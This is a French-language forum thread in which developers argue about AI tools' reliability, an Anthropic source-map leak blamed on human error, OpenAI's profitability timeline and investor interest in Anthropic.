Il me semble qu'il est plus difficile de maîtriser une IA qu'un développement classique. Ces compétences sont différentes, mais le soucis vient du fait que ces IA sont utilisées par des personnes n'ayant que peu d'expérience dans le développement (voir pas du tout), mais qui (en plus), n'ont pas la moindre culture du risque des outils qu'ils utilisent aveuglément, par facilité, pour la rapidité, et la sécurité n'est absolument pas prise en compte, c'est un point négatif de plus pour l'IA, qui commence a montrer ses limites, et des compromis qu'elle doit faire sans cesse. De plus, si j'ai bien compris l'article, l'implémentation et l'utilisation des IA, basée sur des jetons, vendu à perte, deviendra intenable si l'IA continue de se développer tel qu'actuellement.

Ce n'est que mon petit avis de petit développeur.
BàV et Peace & Love.

[Ryu2000]

Pour l'instant, j'ai perso l'impression que l'IA détruit plus de "valeurs" qu'elle n'en crée réellement, fiablemment, pérennement.

C'est normal, les outils IA sont loin d'avoir atteint le stade auquel ils seront fiable et performant.
C'est un accès anticipé (early access) quelque part.

OpenAI dit que si il peut dépenser des centaines de milliards chaque année, alors peut-être qu'à partir de 2030 ChatGPT sera rentable (pour être rentable il faut beaucoup d'utilisateurs payants, pour avoir des utilisateurs payants il faut proposer un outil de qualité, donc OpenAI fera un travail de qualité en 2030 (dans le meilleur scénario possible)).

Evidemment que c'est une erreur de Claude, c'est lui qui code tout.

De mon point de vue, si l'erreur vient de Claude c'est beaucoup moins grave que si l'erreur est humaine.
Claude est en version alpha, c'est normal que des erreurs aient lieux... (tous les chatbots IA sont en version alpha selon comment on regarde (en tout cas ils produisent plein d'erreurs))

Alors que les humains qui sont embauchés sont censés être des "talents", donc ils doivent connaître les règles de sécurité.
À un moment donné il y a une histoire d'un fichier de débogage .map qui s'est retrouvé sur un dépôt Git (en gros).

Bon après ils disent que c'est lié au logiciel Bun (alternative à Node.js) si un fichier .map s'est retrouvé dans la distribution publique.
Mais Anthropic dit que c'est une erreur humaine, donc ça doit être un humain qui a mal configuré .npmignore, package.json, ou quelque chose du genre.

=====

tout ce qui "touche" à l'IA est très fragile.

En attendant, actuellement beaucoup d'investisseurs (fonds institutionnels et hedge funds) cherchent à vendre leurs titres OpenAI pour acheter des actions Anthropic à la place.
Ils n'arrivent pas à vendre leurs titre OpenAI, mais si ils y arrivaient ils investiraient dans Anthropic.

OpenAI shares struggle to find buyers as investors shift to Anthropic

OpenAI shares are facing declining demand on secondary markets as investors redirect their focus toward competitor Anthropic, according to a report Wednesday from Bloomberg News.

Ces histoires de fuites ne dérangent absolument pas les fonds institutionnels et les hedge funds.
Le fait que la qualité des réponse baisse ne les dérange pas non plus. (ils font un paris à long terme)

Les chatbots IA seront nuls en 2026, 2027, 2028, 2029, mais peut-être qu'après...
Ou alors plusieurs centaines de milliards auront été dépensés pour rien. On verra...

[popo]

Je crois bien que le plus drôle dans tout ça, c'est que la faille a été découverte par une autre IA et non par Mythos, qu'Anthropic dit beaucoup trop efficicace pour être commercialisé.
Pas si efficace que ça, apparemment

Anthropic annonce qu'il ne commercialiserait pas son dernier modèle, Mythos, car celui-ci s'avère trop efficace

[OuftiBoy]

C'est normal, les outils IA sont loin d'avoir atteint le stade auquel ils seront fiable et performant.
C'est un accès anticipé (early access) quelque part. OpenAI dit que si il peut dépenser des centaines de milliards chaque année, alors peut-être qu'à partir de 2030 ChatGPT sera rentable (pour être rentable il faut beaucoup d'utilisateurs payants, pour avoir des utilisateurs payants il faut proposer un outil de qualité, donc OpenAI fera un travail de qualité en 2030 (dans le meilleur scénario possible)).

Nous n'avons pas a être des bêta testeurs pour OpenIA. Qu'ils mettent leur brol au point avant de déstabiliser toute une fillière.

De mon point de vue, si l'erreur vient de Claude c'est beaucoup moins grave que si l'erreur est humaine. Claude est en version alpha, c'est normal que des erreurs aient lieux... (tous les chatbots IA sont en version alpha selon comment on regarde (en tout cas ils produisent plein d'erreurs))

Pareil, il faut en finir avec des produits sortant étant non fiables, dangereux, et en bêta tests permanent.

Alors que les humains qui sont embauchés sont censés être des "talents", donc ils doivent connaître les règles de sécurité. À un moment donné il y a une histoire d'un fichier de débogage .map qui s'est retrouvé sur un dépôt Git (en gros).

Quelque soit ton "talent", si tu n'est pas au courant de comment fonctionne une IA (et ils gardent jalousement leurs secrets), tu n'as pas les moyens de vérifier des choses dont tu n'est même pas au courant, par opacité, faute de documentation, etc... Tu ne va pas monter dans une voiture révolutionnaire à 3 roues et sans volant quand même ?

Bon après ils disent que c'est lié au logiciel Bun (alternative à Node.js) si un fichier .map s'est retrouvé dans la distribution publique. Mais Anthropic dit que c'est une erreur humaine, donc ça doit être un humain qui a mal configuré .npmignore, package.json, ou quelque chose du genre.

On ne peut plus se fier à ce que disent ce genre de grosses boîtes, elles ont menti et trop souvent que pour les croire sur parole. La confiance n'est plus là. Dans le cas d'Anthropic, sur quoi te bases-tu pour dire "ça doit être un humain qui a mal configuré .npmignore, package.json, ou quelque chose du genre." ? Tu as des sources ?

Les chatbots IA seront nuls en 2026, 2027, 2028, 2029, mais peut-être qu'après... Ou alors plusieurs centaines de milliards auront été dépensés pour rien. On verra...

Et bien laissons-les terminer leur produit, encore une fois, je ne suis pas payer pour être un bêta testeur.

BàT et Peace & Love.

[Ryu2000]

Nous n'avons pas a être des bêta testeurs pour OpenIA. Qu'ils mettent leur brol au point avant de déstabiliser toute une fillière.

Personne n'est obligé d'utiliser des outils IA.
Que tu soit une entreprise ou un particulier.

Ceux qui décident de l'utiliser savent que ça produit parfois des choses fausses.

il faut en finir avec des produits sortant étant non fiables, dangereux, et en bêta tests permanent.

Vous pouvez attendre que ce soit au point.
Les plus optimistes parlent de 2030.

Quelque soit ton "talent", si tu n'est pas au courant de comment fonctionne une IA

Officiellement c'est une erreur humaine.
Donc ça doit être un "talent" qui a fait de la merde et pas l'IA.

Bon après Anthropic peut mentir...